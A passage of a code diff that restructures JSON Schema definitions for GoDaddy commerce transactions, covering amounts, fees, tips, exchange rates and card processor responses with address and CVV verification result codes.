"https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "x-currency-type": true, + "x-custom-type": true }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/transaction/fee.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Fee associated with transaction", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/simple-fee.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Simple fee associated with transaction", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "Simple Fee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/transaction/governed-fee.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Governed fee associated with transaction", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "programType": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true, + "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore", + "x-propagation": { + "optional": true + } + }, + "type": { + "description": "How the fee should be appliedbinary", + "enum": [ + "FIXED", + "HYBRID", + "PERCENTAGE" + ], + "example": "FIXED", + "type": "string" + } + }, + "required": [ + "amount", + "programType", + "type" + ], + "title": "Governed Fee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "tip": { + "$id": "https://godaddy.com/schemas/commerce/transaction/tip-amount.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } - } - }, - "batchAutoClosedByHost": { + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { "type": "string" - }, - "batchId": { - "type": "string", - "description": "The ID of the settlement batch that this transaction is assigned to.", - "maxLength": 64 - }, - "cardToken": { - "type": "string", - "maxLength": 256 - }, - "cvActualResult": { + } + }, + "required": [ + "amountType" + ], + "title": "Amount", + "type": "object" + }, + "createdAt": { + "description": "This is a response field. The server time (in ISO-8601 format) at which this transaction was initially created. E.g. 2014-09-11T23:14:44Z.", + "format": "date-time", + "type": "string" + }, + "exchangeRate": { + "description": "Exchange rate used for this adjustment.", + "properties": { + "businessId": { "type": "string" }, - "cvResult": { - "description": "The card verification results.", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] + "cardAmount": { + "format": "int64", + "type": "integer" }, - "debitResponseCode": { + "cardCurrency": { + "maxLength": 3, + "minLength": 3, "type": "string" }, - "echeckProcessor": { - "description": "eCheck(electronic payment funded by the buyer's bank account) processor used by the business.", - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] + "cardTipAmount": { + "format": "int64", + "type": "integer" }, - "issuerResponseCode": { + "disclaimer": { "type": "string" }, - "pinSessionKey": { + "markupInfo1": { "type": "string" }, - "processedAt": { - "type": "string", - "format": "date-time", - "description": "Date / time of transaction received by the processor host." + "markupInfo2": { + "type": "string" }, - "processor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] + "markupPercentage": { + "type": "string" }, - "providerVerification": { - "description": "Object that carries provider verification related fields.", - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } - } + "provider": { + "type": "string" }, - "ps2000Data": { - "type": "string", - "description": "Payment Service 2000 data to process a secondary transaction" + "rate": { + "format": "int64", + "type": "integer" }, - "retrievalRefNum": { - "type": "string", - "maxLength": 64 + "ratePrecision": { + "format": "int64", + "type": "integer" }, - "scaResult": { - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure.", - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] + "requestedAt": { + "format": "date-time", + "type": "string" }, - "status": { - "description": "Possible values are Successful or Failure.", - "enum": [ - "Successful", - "Failure" - ], + "signature": { "type": "string" }, - "statusCode": { - "type": "string", - "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", - "maxLength": 64 + "tipAmount": { + "format": "int64", + "type": "integer" }, - "statusMessage": { - "type": "string", - "description": "Will be whatever message came back from the acquirer.", - "maxLength": 512 + "txnAmount": { + "format": "int64", + "type": "integer" }, - "transactionId": { - "type": "string", - "description": "The transactionID that came back from the acquirer.", - "maxLength": 64 + "txnCurrency": { + "maxLength": 3, + "minLength": 3, + "type": "string" } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/debitcard.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Debit Card Processor Response", - "description": "Processor response for debit card", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/creditcard.v2", + }, + "type": "object" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "description": "Processor response for credit card", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/processor-response/cv-verification-result.v2", + "description": "Response from processor received as part of processing transaction", + "discriminator": { + "mapping": { + "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", + "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" + }, + "propertyName": "processorType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/creditcard.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Results", - "type": "object", + "description": "Processor response for credit card", "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] + "approvalCode": { + "description": "The approval code that came back from the acquirer (usually its 6 alpha-numeric characters).", + "maxLength": 32, + "type": "string" }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "approvedAmount": { + "description": "The amount that the authorization was approved for. This could be different from the transactionAmount requested.", + "format": "int64", + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/processor-response/cv-verification-result.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "description": "CVV verification result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/cv-result-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "CVV Verification result status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ] - }, - "approvalCode": { - "type": "string", - "description": "The approval code that came back from the acquirer (usually its 6 alpha-numeric characters).", - "maxLength": 32 - }, - "approvedAmount": { - "type": "integer", - "format": "int64", - "description": "The amount that the authorization was approved for. This could be different from the transactionAmount requested." - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure." - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "legacyProcessorData": { - "deprecated": true, - "description": "Process response data used by legacy system", - "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "x-legacy": true, - "$defs": { - "LegacyAVSResult": { - "x-legacy": true, - "type": "object", + "description": "Address verification result details obtained from processor", "properties": { - "actualResult": { - "type": "string" - }, "addressResult": { - "type": "string", + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, "cardHolderNameResult": { - "type": "string", + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, "cityResult": { - "type": "string", + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, "countryResult": { - "type": "string", + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, "phoneResult": { - "type": "string", + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, "postalCodeResult": { - "type": "string", + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" }, "stateResult": { - "type": "string", + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", "enum": [ "MATCH", "NO_MATCH", "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" } - } + }, + "title": "Address Verification Results", + "type": "object" }, - "LegacyAVSResultType": { - "type": "string", + "cvResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/cv-result-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "CVV verification result", "enum": [ "MATCH", "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "LegacyCVResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "LegacyECheckProcessor": { - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessorStatus": { - "type": "string", - "enum": [ - "Successful", - "Failure" - ] + "UNAVAILABLE" + ], + "title": "CVV Verification result status", + "type": "string" }, - "LegacyProviderVerification": { - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" }, - "description": "Provider verification fields." - }, - "LegacyStrongCustomerAuthenticationResult": { - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - } - }, - "type": "object", - "properties": { - "acquirer": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "adapterId": { - "type": "string" + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, - "adapterVariant": { + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, "type": "string" }, - "avsResult": { - "description": "The address verification results.", - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] + "legacyProcessorData": { + "$defs": { + "LegacyAVSResult": { + "properties": { + "actualResult": { + "type": "string" + }, + "addressResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "cardHolderNameResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "cityResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "countryResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "phoneResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "postalCodeResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + 